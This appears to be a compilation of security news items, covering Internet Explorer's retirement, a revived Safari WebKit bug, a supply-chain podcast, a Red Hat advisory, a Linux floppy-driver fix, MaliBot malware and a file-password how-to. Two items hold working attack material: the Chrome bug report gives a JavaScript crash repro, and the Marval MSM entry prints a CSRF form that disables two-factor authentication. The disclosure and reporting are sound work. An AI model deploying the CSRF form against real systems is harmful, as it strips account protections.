Microsoft's legacy browser may be dead—but its remnants are not going anywhere, and neither are its lingering security risks.

After years of decline and a final wind-down over the past 13 months, on Wednesday Microsoft confirmed the retirement of Internet Explorer, the company’s long-lived and increasingly notorious web browser. Launched in 1995, IE came preinstalled on Windows computers for almost two decades, and like Windows XP, Internet Explorer became a mainstay—to the point that when it was time for users to upgrade and move on, they often didn’t. And while last week’s milestone will push even more users off the historic browser, security researchers emphasize that IE and its many security vulnerabilities are far from gone.

In the coming months, Microsoft will disable the IE app on Windows 10 devices, guiding users instead to its next-generation Edge browser, first released in 2015. The IE icon will still remain on users’ desktops, though, and Edge incorporates a service called “IE mode” to preserve access to old websites built for Internet Explorer. Microsoft says it will support IE mode through at least 2029. Additionally, IE will still work for now on all supported versions of Windows 8.1, Windows 7 with Microsoft’s Extended Security Updates, and Windows Server, though the company says it will eventually phase IE out in these, too.  

Seven years after the debut of Edge, industry analysis indicates that Internet Explorer may still hold more than half a percent of the total global browser market share. And in the United States, that share may be closer to as much as 2 percent.

“I do think we’ve made progress, and we probably won’t see as many exploits against IE in the future, but we will still have remnants of Internet Explorer for a long time that scammers can take advantage of,” says Ronnie Tokazowski, a longtime independent malware researcher. “Internet Explorer as the browser will be gone, but there are still pieces that exist.”

For something that’s been around as long as IE, backward compatibility is difficult to balance with the desire for a clean slate. “We haven’t forgotten that some parts of the web still rely on Internet Explorer’s specific behaviors and features,” Sean Lyndersay, the general manager of Microsoft Edge Enterprise, wrote in an IE retrospective on Wednesday, pointing to IE mode.

But he added that there was a real need to start over with Edge rather than trying to salvage IE. “The web has evolved and so have browsers,” he wrote last week. “Incremental improvements to Internet Explorer couldn’t match the general improvements to the web at large, so we started fresh.”

Microsoft says it will still support IE’s underlying browser engine, known as “MSHTML,” and it has its eye on versions of Windows still “used in critical environments.” But Maddie Stone, a researcher for Google’s Project Zero vulnerability hunting team, points out that hackers are still exploiting IE vulnerabilities in real-world attacks.

“Since we began tracking in-the-wild 0-days, Internet Explorer has had a pretty consistent number of 0-days each year. 2021 actually tied 2016 for the most in-the-wild Internet Explorer 0-days we’ve ever tracked, even though Internet Explorer’s market share of web browser users continues to decrease,” she wrote in April, referring to previously unknown vulnerabilities, called zero-days. “Internet Explorer is still a ripe attack surface for initial entry into Windows machines, even if the user doesn’t use Internet Explorer as their internet browser."

In her analysis, Stone particularly noted that while the number of new IE vulnerabilities Project Zero has detected has remained fairly constant, attackers have shifted over the years to increasingly target the MSHTML browser engine through malicious files like tainted Office documents. This could mean that neutering the IE application won’t immediately change attack trends that are already in motion.

Given how difficult it has been to rein in Internet Explorer at all, Microsoft and IE users around the world have certainly come a long way. But for a browser that’s supposed to be dead, IE still very much loads with the living.

The Ghost of Internet Explorer Will Haunt the Web for Years

A security flaw in Apple Safari that was exploited in the wild earlier this year was originally fixed in 2013 and reintroduced in December 2016, according to a new report from Google Project Zero.
The issue, tracked as CVE-2022-22620 (CVSS score: 8.8), concerns a case of a use-after-free vulnerability in the WebKit component that could be exploited by a piece of specially crafted web content to

A security flaw in Apple Safari that was exploited in the wild earlier this year was originally fixed in 2013 and reintroduced in December 2016, according to a new report from Google Project Zero.

The issue, tracked as CVE-2022-22620 (CVSS score: 8.8), concerns a case of a use-after-free vulnerability in the WebKit component that could be exploited by a piece of specially crafted web content to gain arbitrary code execution.

In early February 2022, Apple shipped patches for the bug across Safari, iOS, iPadOS, and macOS, while acknowledging that it "may have been actively exploited."

"In this case, the variant was completely patched when the vulnerability was initially reported in 2013," Maddie Stone of Google Project Zero said. "However, the variant was reintroduced three years later during large refactoring efforts. The vulnerability then continued to exist for 5 years until it was fixed as an in-the-wild zero-day in January 2022."

While both the 2013 and 2022 bugs in the History API are essentially the same, the paths to trigger the vulnerability are different. Then subsequent code changes undertaken years later revived the zero-day flaw from the dead like a "zombie."

Stating the incident is not unique to Safari, Stone further stressed taking adequate time to audit code and patches to avoid instances of duplicating the fixes and understanding the security impacts of the changes being carried out.

"Both the October 2016 and the December 2016 commits were very large. The commit in October changed 40 files with 900 additions and 1225 deletions. The commit in December changed 95 files with 1336 additions and 1325 deletions," Stone noted.

"It seems untenable for any developers or reviewers to understand the security implications of each change in those commits in detail, especially since they're related to lifetime semantics."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Google Researchers Detail 5-Year-Old Apple Safari Vulnerability Exploited in the Wild

The most important and interesting computer security stories from the last week.
The post A week in security (June 13 – June 19) appeared first on Malwarebytes Labs.

**RELATED ARTICLES**

June 13, 2022 - We take a look at the latest batch of vulnerabilities in Chrome requiring an update.

May 30, 2022 - Posts from the last week on Malwarebytes Labs describing all the latest news, exploits, scams, and more.

May 26, 2022 - ChromeLoader is working its way into Chrome browsers via ISO images claiming to offer cracked games. What are the dangers?

May 25, 2022 - Google has issued an update for the Chrome browser to patch 32 security issues . One of the vulnerabilities is rated as critical, so install that update as soon as you can.

May 17, 2022 - A little-used feature of web addresses is being used to obfuscate malicious phishing URLs.

A week in security (June 13 – June 19)

This week on Lock and Code, we speak with Kim Lewandowski about what steps we can take to secure the software supply chain. 
The post Securing the software supply chain, with Kim Lewandowski: Lock and Code S03E13 appeared first on Malwarebytes Labs.

At the start of the global coronavirus pandemic, nearly everyone was forced to learn about the “supply chain.” Immediate stockpiling by an alarmed (and from a smaller share, opportunistic) public led to an almost overnight disappearance of hand sanitizer, bottled water, toilet paper, and face masks.

In time, those items returned to stores. But then a big ship got stuck in the Suez, and once again, we learned even more about the vulnerability of supply chains. They can handle little stress. They can be derailed with one major accident. They spread farther than we know.

While the calamity in the canal involved many lessons, there was another story in late 2020 that required careful study in cyberspace—an attack on the digital supply chain.

That year, attackers breached a network management tool called Orion, which is developed by the Texas-based company SolarWinds. Months before the attack was caught, the attackers swapped malicious code into a legitimately produced security update from SolarWinds. This malicious code gave the attackers a backdoor into every Orion customer who both downloaded and deployed the update and who had their servers connected online. Though the initial number of customers who downloaded the update was about 18,000 companies, the number of customers infected with the attackers’ malware was far lower, somewhere around 100 companies and about a dozen government agencies.

This attack, which did involve a breach of a company, had a broader focus—the many, many clients of that one company. This was an attack on the software supply chain, and since that major event, similar attacks have happened again and again.

Today, on the Lock and Code podcast with host David Ruiz, we speak with Kim Lewandowski, founder and head of product at Chainguard, about the software supply chain, its vulnerabilities, and how we can fix it.

> “Our software supply chains are as brittle and sort of filled with weaknesses, similar to a physical supply chain. When you think about every step of the path from when a developer starts writing software all the way to where it’s pushed to production, or where end user is using it, there’s different attack vectors across that entire path.”
> 
> Kim Lewandowski, founder, head of product, Chainguard Inc.

Tune in to hear about why the software supply chain is so difficult to secure, what is at stake if we continue to ignore the problem, and what steps we can take today—and tomorrow—to ensure that future software builds are secure and trustworthy.

This video cannot be displayed because your _Functional Cookies_ are currently disabled.

To enable them, please visit our _privacy policy_ and search for the Cookies section. Select _“Click Here”_ to open the Privacy Preference Center and select _“Functional Cookies”_ in the menu. You can switch the tab back to _“Active”_ or disable by moving the tab to _“Inactive.”_ Click _“Save Settings.”_

You can find us on Apple Podcasts, Spotify, and Google Podcasts, plus whatever preferred podcast platform you use.

****Show notes, resources, and credits**_:_**

Kubernetes diagram:

https://user-images.githubusercontent.com/622577/170547400-ef9e2ef8-e35b-46df-adee-057cbce847d1.svg

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

Securing the software supply chain, with Kim Lewandowski: Lock and Code S03E13

Chrome suffers from having an incomplete fix for CVE-2022-1096.

    Chrome: Incomplete fix for CVE-2022-1096VULNERABILITY DETAILSThe fix for https://crbug.com/1309225 has modified `SetPropertyInternal()` to fall back to `SetSuperProperty()` whenever a property access interceptor is encountered because `SetSuperProperty()` is robust against possible side effects caused by interceptors.Unfortunately, the function `JSObject::DefineOwnPropertyIgnoreAttributes()` is also affected by the bug and requires the same change.VERSIONGoogle Chrome 100.0.4896.60 (Official Build) (arm64)Chromium 102.0.4972.0 (Developer Build) (64-bit)REPRODUCTION CASETo make the exploit functional again, the attacker only needs to replace one property store with an `Object.defineProperty()` call:```<script>style = document.createElement('p').style;Object.defineProperty(style, 'prop', {  value: { toString() { style.prop = 1 } }});</script>```The repro case above triggers the same DCHECK failure:```## Fatal error in ../../v8/src/objects/map.cc, line 437# Debug check failed: map->instance_descriptors(isolate) .Search(*name, map->NumberOfOwnDescriptors()) .is_not_found().#```CREDIT INFORMATIONSergei Glazunov of Google Project ZeroThis bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2022-06-28.Related CVE Numbers: CVE-2022-1232,CVE-2022-1096.Found by: glazunov@google.com

Chrome CVE-2022-1096 Incomplete Fix

Marval MSM version 14.19.0.12476 suffers from a cross site request forgery vulnerability.

    # Exploit Title: Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF)# Date: 27/5/2022# Exploit Author: Momen Eldawakhly (Cyber Guy)# Vendor Homepage: https://www.marvalnorthamerica.com/# Software Link: https://www.marvalnorthamerica.com/# Version: v14.19.0.12476# Tested on: Windows# PoCs: https://drive.google.com/drive/folders/1Zy5Oa-maLo0ACfLz90uvxqxwG18DwAZY# 2FA Bypass:<html>  <body>    <form action="https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptHandler.ashx?method=DisableTwoFactorAuthentication&classPath=%2FMSM_Test%2FRFP%2FForms%2FProfile.aspx&classMode=WXr8G2r3eh3984wn3YQvtybzSUW%2B955Uiq5AACvfimwA%2FNZHYRFm8%2Bgidv5CcNfjtLsElRbK%2FRmwvfE9UfeyD6DseGEe5eZGWB32FOJrhdcEh7oNUSSO9Q%3D%3D" method="POST" enctype="text/plain">      <input type="submit" value="Submit request" />    </form>  </body></html>

Marval MSM 14.19.0.12476 Cross Site Request Forgery

Red Hat Security Advisory 2022-5030-01 - This release of Red Hat Fuse 7.10.2.P1 serves as a replacement for Red Hat Fuse 7.10 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: Red Hat Fuse Online 7.10.2.P1 security update  
Advisory ID:       RHSA-2022:5030-01  
Product:           Red Hat JBoss Fuse  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:5030  
Issue date:        2022-06-14  
CVE Names:         CVE-2021-22573 CVE-2022-1650   
=====================================================================

1. Summary:

A patch update (from 7.10.1 to 7.10.2.P1) is now available for Red Hat Fuse  
Online. The purpose of this text-only errata is to inform you about the  
security issues fixed in this release.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

This release of Red Hat Fuse 7.10.2.P1 serves as a replacement for Red Hat  
Fuse 7.10 and includes bug fixes and enhancements, which are documented in  
the Release Notes document linked in the References.

Security Fix(es):

* google-oauth-client: Token signature not verified [fuse-7]  
(CVE-2021-22573)

* eventsource: Exposure of Sensitive Information [fuse-7] (CVE-2022-1650)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

3. Solution:

Before applying the update, back up your existing installation, including  
all applications, configuration files, databases and database settings, and  
so on.

Installation instructions are available from the Fuse 7.10 product  
documentation page:  
https://access.redhat.com/documentation/en-us/red_hat_fuse/7.10/

4. Bugs fixed (https://bugzilla.redhat.com/):

2081879 - CVE-2021-22573 google-oauth-client: Token signature not verified  
2085307 - CVE-2022-1650 eventsource: Exposure of Sensitive Information

5. References:

https://access.redhat.com/security/cve/CVE-2021-22573  
https://access.redhat.com/security/cve/CVE-2022-1650  
https://access.redhat.com/security/updates/classification/#important

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYqjMVtzjgjWX9erEAQg0mg//V1qFKhmMzJjgqQkWzasfUsVXCGDXk/wV  
iJHknqThbovm0jvmkPkiFuGZSZ/9qT6KCla+ATmtzW1VHPnWWmu1G5X4NmFN8pFn  
PuaU0Uhun3CA7qS1CXocm7TAK7pSDOcsaeMw/JL36ZzcftL4H5+BUJis3i4igPjx  
SpsgJm6OOwFIXtAQEoXlDtIP1ooyX3ikdzQ+qGdNGPxc4HNymgcJCGm6G9Kcderr  
r7aZi+MaD+Hr8VbAgW4HVlPX2Agb3N54EQkr5EDZw6XGu3xb+TpVu4yjyfwRMg89  
mvO+xwfOceN5BP0XY0mZJ6ivydLl9vcJId9RkTAnYhIM6IsTnSmw5DF1L0VnHQ7i  
lrrYCjdW+UhifkIZA51c7qgK4l6R+30u7ujvyiF+v0AsB3l9/Mtbl2kTFTmUrdqB  
HMQiFf3JAIODAe/UDtixqCZqSvh4ORXcyjYKC8fZaofhl9MhzGj/NnUsxQKnOIi+  
SRvPUmHjPpD8Y4NMjnexf5aIZZye8hKGWcem6YPtWgphop95nbwfwSOCLwdJG47x  
hEeYA7CZ+E1eOCXiZLJ/eGDeGbkbNT0EC2hiVf0t1CircHgpG5LHL09Si6HqR3fK  
zJFKXYcYWkiuSYib5/NzHpRBxjLcRRZcv3gPZDnX2hGwFnuf2VecErYo6upHPnA+  
DT+n8xOdmVw=  
=O4vw  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-5030-01

Put a digital lock on your most important data.

You never know when one of your files might reach someone it wasn't intended to reach—perhaps through an email forward, a USB stick left behind on a desk, or maybe even an unauthorized user accessing your computer.

Should that happen, password protection is all that stands between your data and the people whom you don't want to see it. It's an extra layer of security you can add to your most sensitive files without too much trouble.

How you go about this will depend on the software you're using to create the file in the first place. Some applications have password protection features built in, while in other cases you'll need to lock up your files using a different method.

Microsoft Word, Excel, and PowerPoint

Adding a password to a document in Word.

Microsoft Word via David Nield

In Word, Excel, or PowerPoint for Windows, open the file you want to protect with a password, then select **File** and **Info**. You should see a Protect option at the top of the next list: Click this button, choose **Encrypt with Password**, and type out your password.

Passwords can be up to 15 characters long and are case-sensitive, so double-check what you're typing in. If you forget the password for a document, spreadsheet, or presentation, you won't be able to get back into it—you'll have to start again from scratch.

If you're using Office on macOS, the process is slightly different: Open the **Review** tab in the ribbon menu at the top, then click the **Protect** button to enter a password. (The button will be labeled slightly differently depending on which program you're in.)

Google Docs, Sheets, and Slides

Sharing a document in Google Docs.

Google Docs via David Nield

There's no password protection feature as such in Google Drive, because your files are already protected by a password: The password linked to your Google account that you use to log in and view your documents, spreadsheets, and presentations.

If you choose to share a file from Google Docs, Sheets, or Slides—via the big **Share** button in the top-right corner when you're working on something—you can either invite specific users to see it (via their email addresses) or generate a link that anyone can use.

We'd recommend the former option (inviting individual users) for maximum security. This means they'll need to log in with their own Google account password—another layer of password protection—before being able to view the file you've shared.

Apple Pages, Numbers, and Keynote

Setting a password on a document in Apple Pages.

Apple Pages via David Nield

If it's the Apple office applications that you're using, the process of adding a password couldn't be much easier. With the file open in Pages, Numbers, or Keynote, select **File** and then **Set Password** to choose and apply your password.

The same warning applies as it does with Microsoft Office—if you can't remember your password then you're not going to be able to get back into your document, spreadsheet, or presentation (otherwise hackers would be able to get in as well).

Note the **Open with Touch ID** checkbox on the password dialog. This gives you the option of using a Touch ID–enabled keyboard on macOS to open your own protected files, saving you the trouble of typing out a password each time.

Protecting Other Files

Adding password protection to a folder on Dropbox.

Dropbox via David Nield

We can't cover every application out there in terms of password protection, but if you dig around in the programs that you're using you might find that they offer this form of additional security while saving files.

If not, you've still got a few options. Keeping files in cloud storage lockers (like Google Drive) is one option: The act of sharing files on these services usually requires a username and password to log in, so your files are kept safe in that way.

Sometimes there are extra features. In the case of Dropbox, for example, on the folder-sharing pane on the web, you can click **Settings** and then change **Who has access** to **People with password**—so both a unique URL and a password are required for access.

If you need another option, create a password-protected archive containing the file or files that you need to keep safe. 7-Zip is a free tool for Windows that is able to build password-protected archives, for example.

Should your files be on an external hard drive, you can encrypt the entire drive and add a password to guard against unwanted access: In Windows, right-click on the drive in File Explorer and choose **Turn on BitLocker**; on macOS, go through the Disk Utility.

Third-party applications such as VeraCrypt (free for both Windows and macOS) are also able to encrypt drives for you, adding password protection at the same time. It's a sensible choice if you're putting sensitive data on a portable storage device.

How to Password Protect Any File

drivers/block/floppy.c in the Linux kernel before 5.17.6 is vulnerable to a denial of service, because of a concurrency use-after-free flaw after deallocating raw_cmd in the raw_cmd_ioctl function.

Permalink

Browse files

floppy: disable FDRAWCMD by default

Minh Yuan reported a concurrency use-after-free issue in the floppy code
between raw\_cmd\_ioctl and seek\_interrupt.

\[ It turns out this has been around, and that others have reported the
  KASAN splats over the years, but Minh Yuan had a reproducer for it and
  so gets primary credit for reporting it for this fix   - Linus \]

The problem is, this driver tends to break very easily and nowadays,
nobody is expected to use FDRAWCMD anyway since it was used to
manipulate non-standard formats.  The risk of breaking the driver is
higher than the risk presented by this race, and accessing the device
requires privileges anyway.

Let's just add a config option to completely disable this ioctl and
leave it disabled by default.  Distros shouldn't use it, and only those
running on antique hardware might need to enable it.

Link: https://lore.kernel.org/all/000000000000b71cdd05d703f6bf@google.com/
Link: https://lore.kernel.org/lkml/CAKcFiNC=MfYVW-Jt9A3=FPJpTwCD2PL\_ULNCpsCVE5s8ZeBQgQ@mail.gmail.com
Link: https://lore.kernel.org/all/CAEAjamu1FRhz6StCe\_55XY5s389ZP\_xmCF69k987En+1z53=eg@mail.gmail.com
Reported-by: Minh Yuan <yuanmingbuaa@gmail.com>
Reported-by: syzbot+8e8958586909d62b6840@syzkaller.appspotmail.com
Reported-by: cruise k <cruise4k@gmail.com>
Reported-by: Kyungtae Kim <kt0755@gmail.com>
Suggested-by: Linus Torvalds <torvalds@linuxfoundation.org>
Tested-by: Denis Efremov <efremov@linux.com>
Signed-off-by: Willy Tarreau <w@1wt.eu>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

*   Loading branch information

CVE-2022-33981: floppy: disable FDRAWCMD by default · torvalds/linux@233087c

By Deeba Ahmed
MaliBot Android Malware is also capable of bypassing 2FA (Two-factor authentication). F5 Labs researchers have discovered a new…
This is a post from HackRead.com Read the original post: New MaliBot Android Malware Found Stealing Personal, Banking Data

****MaliBot Android Malware is also capable of bypassing 2FA (Two-factor authentication).****

F5 Labs researchers have discovered a new Android malware family that can exfiltrate personal and financial data after compromising devices. According to researchers, the malware can not only bypass multi-factor authentication processes, but can also steal banking data, passwords, and cryptocurrency wallets.

It is worth noting that the malware is distributed through fraudulent websites and tricks victims into downloading it, thinking it is a popular cryptocurrency tracking app. It is also distributed through smishing.

Furthermore, researchers have identified two malicious sites distributing MaliBot. One of them is a fake version of TheCryptoApp that boasts over a million downloads on the Google Play Store.

**Details of MaliBot**

F5 Labs has dubbed the Android malware MaliBot. This powerful malware disguised as a cryptocurrency mining application may pretend to be another app or a Chrome browser. It asks the user for accessibility and launcher permissions when downloaded to monitor the device and carry out its malicious operations.

MaliBot uses a Virtual Network Computing (VNC) server implementation to gain control of the infected devices. Once it infects a device, it starts exfiltrating financial data and steals PII (personally identifiable information) and cryptocurrency wallet information.

Research revealed that the malware’s C2 server is based in Russia and the servers are the same that were previously used for distributing the Sality malware. From June 2020, the IP was used to launch different malware campaigns.

**MaliBot Capabilities**

MaliBot has diverse capabilities, such as it supports web injections and can be used in overlay attacks. It can run and delete applications and steal sensitive data such as MFA codes, cookies, SMS messages, etc.

It can remotely steal passwords and access text messages, crypto wallet information, web browser cookies, bank details, and capture screenshots from compromised devices. It can also bypass MFA protection.

It mainly abuses the Android Accessibility API that lets it perform specific actions without asking for user permission or interaction and maintain persistence on the infected device. It also bypasses 2FA processes by validating Google prompts via the Accessibility API and steals 2FA codes, which are later transferred to the attacker.

When distributed via SMS messages, the malware can log exceptions and registers itself as a launcher. Bypassing protections around crypto wallets lets the attackers steal bitcoins and other cryptocurrencies from the victim’s wallet linked to the infected device.

Lastly, like FluBot, MaliBot can send SMS messages to other users to spread the infection chain. Currently, this campaign is targeting Spanish and Italian bank customers, but the scope of infection may soon broaden, F5 Labs researcher Dor Nizar noted.

**More Android Malware News**

*   Authorities Take Down SMS-based FluBot Android Spyware
*   Predator Spyware Using Zero-day to Target Android Devices
*   Ginp Android trojan targets banking apps & threaten 2FA/SMS
*   HiddenMiner Android Monero Mining Malware Cause Device Failure
*   New Android banking malware Xenomorph found in Play Store apps

Tag

#google